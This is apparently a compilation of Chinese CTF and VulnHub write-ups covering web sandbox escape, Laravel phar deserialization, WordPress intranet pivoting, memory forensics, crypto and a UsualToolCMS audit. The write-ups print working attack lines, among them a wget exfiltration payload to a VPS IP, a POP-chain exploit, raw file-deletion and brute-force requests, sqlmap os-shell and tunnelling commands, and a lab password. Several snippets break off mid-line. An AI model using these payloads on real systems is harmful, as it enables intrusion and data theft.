观安CTF 2021 WriteUp

WEB Baby Calc 通过测试发现该环境为python3沙盒逃逸 通过网上公开的POC发现存在代码执行,但是无法回显 尝试反弹SHELL均失败 发现系统不存在curl命令,但存在wget通过wget命令携带回显带出到vps 如下图使用wget,把命令包含在``中在使用base64带到vps中 expr=__import__("os").__getattribute__("metsys"[::-1])("wget%20http://49.234.223.23:1234/1.txt?data=`cat%20/flag_is_here|grep%20flag|base64`") vps监听: Baby WEB 题目提供了源代码,查看incloud.php文件,发现57行存在file_put_contents函数,且password未做限制。通过构造poc使password造成任意文件读取漏洞 POC:1|../../../../../../../../flag| 注册任意用户名,密码为POC,登陆密码为1。 登陆后返回flag Misc 老电脑的内存 经典的内存取证题目,通过imageinfo来获取该内存镜像的摘要信息 查看缓存在内存中的注册表: 获取 SAM 表中的用户: 查看内存中系统的密码: CMD5解密 通过filescan查找ctf用户下的文件 发现1.png volatility -f Windows\ 7-c0e05742.vmem --profile=Win7SP1x86_23418 filescan | grep ctf 将1.png dump下来,查看文件。与密码结合获得flag ##被加密的wifi 通过分析数据包发现key为88888888 通过airdecap-ng命令输入密码解密数据包 在已解密的数据包中找到flag release 拿到一张图片,首先使用binwalk分离文件,没有发现有用信息 通过winhex修改文件高度 得到一半flag 翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1 使用脚本转换为图片,得到二维码 扫描得到flag

2021年虎符线下赛WEB

tinypng 题目提供了源代码,通过php artisan 命令,可以看到是Laravel 8.15框架 首先查看路由信息 先查看一下fileupload路由,可以发现文件上传时对内容进行了过滤,且只允许上传png 接着我们看image路由,进入ImageController,$source可控接着判断是否为png结尾,如果为png结尾则传给imgcompress类。 进入imgcompress类,$this->src为我们传入的$source 接着又传递给compressImg类,调用了openImg方法 将$source传递给了getimagesize,getimagesize可以触发phar反序列化 现在只需要绕过文件上传内容检测即可,我们可以通过gzip的方式绕过。 从网上找一个Laravel 8的公开的反序列化POP链漏洞即可,如下给出我使用的exp。 namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } } namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); #print(urlencode(serialize($a))); @unlink("phar.

CTF内网渗透题

记一次CTF内网渗透,据说是从护网复现过来的。 这是第一个flag。。。 既然我们知道这是wordpress正常套路那我们通过wpscan扫描一下 如下图发现存在xmlrpc.php,根据经验这个php存在用户密码爆破,那我们尝试一下 参考:Wordpress xmlrpc.php -common vulnerabilites & how to exploit them 通过文章发布的地方知道存在一个power_admin的用户 通过xmlrpc.php验证一下 不知道为什么是不是我个人问题输入正确账号密码后没有直接给我跳转到wp-admin/index.php页面还是在原来页面。我只能通过替换cookie后直接访问。 在媒体库内直接上传冰蝎一句话后访问正常操作 之后通过冰蝎配合msf反弹shell 内网穿透我比较常用的手法是通过ew配合proxychains 如何通过EW做Socks5代理进行内网渗透 - 知乎 ew for linux下载地址:ew 首先在公网的vps上通过ew监听1080和1024 ./ew_for_linux64 -s rcsocks -l 1080 -e 1024 & 之后通过msf把ew客户端上传到靶机上 meterpreter > upload /root/ew/ew_for_linux64 /tmp/ [*] uploading : /root/ew/ew_for_linux64 -> /tmp/ [*] uploaded : /root/ew/ew_for_linux64 -> /tmp//ew_for_linux64 meterpreter > meterpreter > shell Process 20657 created. Channel 0 created. cd /tmp chmod 777 ew_for_linux64 ./ew_for_linux64 -s rssocks -d 118.

2019神盾杯

首届“神盾杯”上海市网络安全竞赛,去年的比赛。 0x00 babyJS 操作内容: 查看源码 找不到被调用的CheckLogin函数 看到script中有用到unespace和escape等函数 用于编码字符串 将eval传参改为alert 显示为弹窗 发现check函数 并将flag与用户输入做比较 得到flag FLAG值: flag{a5a5f402f6dc62acd3e848900a17513f} 0x01 crypto_easy_1 操作内容: 下载文件 发现3行类似的数据 并且长度一致。 :左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度 长度一致 为42 异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag 解密脚本如下: import base64 x = 'v6"wo5UIP9c4IdCk1o6qZhhB5DKZhVBwBzONl1JRIz:TwB2RyZYBCEVbjBjID17UkUeeDAwPBh1dg86AyAgcSQ4QygYGnAuJQYw' y = 'zjS0ubQE2hw29FL2qs61ZNOVyFaf6IAjUZ7X8ijuVg:Q1wHADwPAC13PyRlUB90CwUCeHAwGj9hOg0QP34/cjkvY1AOTigOAhkt' z = 'pJryZpVUNpSFi06WlKGkS0Uka6zw1sNCX"h2urQoyg:SXwmSRMdBz0LJwARAGkObhg6CSo5ZCVcIn0LLnkFfRAiGw9kAzM1GDYt' a, b = x.split(':') c, d = y.split(':') e, f = z.split(':') b = base64.b64decode(b) d = base64.b64decode(d) f = base64.b64decode(f) g = base64.b64decode('X1o1VzIPaVgjbmNvCnQAC0ZHY3BbMUkaeylDYWVOCzZDXwJjR3hTFiw3') flag = '' for i in range(42): t = ord(a[i]) ^ ord(b[i]) flag += chr(ord(g[i]) ^ t) print(flag) FLAG值:

豌豆杯入学CTF

1.题目:小可爱 第一步肯定是绕过本地回环地址 一开始想到的是x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过 这里没啥思路只能爆破 密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!! 将图片下载下来,用binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码 这个地方解了很久发现使用Dilraba的md5。。。。 得到一张图片再一次foremost得到一个压缩包成功拿到flag 2.题目:单身二十年 <?php header("Content-type:text/html;charset=utf-8"); show_source(__FILE__); if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){ $file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt'; file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php')); sleep(10); unlink($file); }else{ header('Location: index.php'); } setcookie("token"); ?> 看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。 一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。 import base64 import hashlib import requests for i in range(1,101): headers = {'Content-type':'text/html;charset=utf-8'} encodestr = base64.b64encode(str(i).encode('utf-8')) cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'} #print(encodestr) m = hashlib.md5() m.update(encodestr) #print(m.hexdigest()) a = m.hexdigest() url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt' #print(url) url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2) #print(url_get.headers) #print(url_get.cookies) if url_get.

Uscms代码审计

0x01 第一处:前台任意文件删除 漏洞信息:前台myup.php文件最后一段存在任意文件删除 代码: 漏洞点:http://xxx/myup.php 第47行只对..做了过滤,我仍然能任意删除网站内的文件,直接构造poc, Burp POC: POST /UsualToolCMS/myup.php HTTP/1.1 Host: 192.168.235.242 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 25 get=delimg&imgurl=./1.php 0x02 绕过后台验证码爆破 漏洞点:http://xxx.xxx.xxx.xxx/cmsadmin/ 后台登陆时默认需要输入验证码,但是当我把验证码的参数ucode删除时,登陆依然成功 1.默认情况下登陆数据包 删除ucode参数和cookie后登陆,直接登陆成功 通过burp爆破后台密码 POST /UsualToolCMS/cmsadmin/a_login.php?do=login HTTP/1.1 Host: 192.168.235.242 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.

Casino Royale: 1

难度: Intermediate 关于: Will you gain your status as a 00 agent? 题目地址:https://www.vulnhub.com/entry/casino-royale-1,287/# Flags: 您的目标是获取root和Flag is /root/flag/flag.sh Write Up: 0x01 获取root 1.通过nmap扫描靶机端口版本,发现存在四个端口:21、25、80、8081 nmap -sV x.x.x.x 2.我们从80端口入手,首先查看网页的源代码并无发现线索,其次对80端口进行目录爆破找到一个phpmyadmin的登陆页面和一个install dirb [url] 3.我们开打install页面出现这样一个界面,点击cliek to start install 后页面报错 4.存在install页面说明网站肯定存在这个cms,我们查找相关cms版本信息并获取到源代码且存在一个exp漏洞 5.翻开源代码后台路径是pokeradmin,并且发现登陆处并且未做sql注入防护 6.直接使用sqlmap跑取账户密码后getshell sqlmap.py -u 'http://192.168.235.140:80/pokeradmin/' --data='op=adminlogin&username=admin&password=admin' --level=5 --risk=3 --os-shell 7.将kali开一个apache把一句话放在/var/www/html中,然后在靶机的shell中运行wget 8.打开中国蚁剑或中国菜刀(效果是一样的)配置如下 9.getshell后我们先将数据库的账户密码保存下来 valenka:11archives11! 10.在一段查看后没有发现有价值的信息,查看8081端口,主页面有一个Run Data Collect的按钮,点击后访问到collect.php 11.因为我们已经拿到www-data的权限了所以我们可以通过find来查找collect.php,找到8081端口的主目录在/opt/casino-royale/ find / -name [name] 12.进入8081端口主目录后查看文件权限 13.查看权限后发现只有casino-data-collection.py这个文件我可以修改,cat查看文件内容,python文件打开了user-data.log继续查看里面内容与collect.php内容一样 14.继续查看collect.php,基本了解程序大概的过程和出题人的思路,collect.php为root权限只可读所以不能更改但是执行的casino-data-collection.py为www-data组所以可以修改,而casino-data-collection.py打开了user-data.log所以php读到了log的内容,所以我们只要修改python文件即可获取到le的权限 解题思路:在python文件中通过os模块执行系统命令返回nc拿到le权限 15.修改python后,再在浏览器重新打开页面靶机会开启一个带bash的1111端口,使用攻击机的nc连接,获取到le的权限 16.但是这是一个半交互式的页面无法切换账户,通过查阅资料可以通过python调用本地shell echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py 17.在获取到le的交互式shell后尝试第九步中valenka的账户密码登录。成功登陆但是先切回le,exit退出 valenka:11archives11!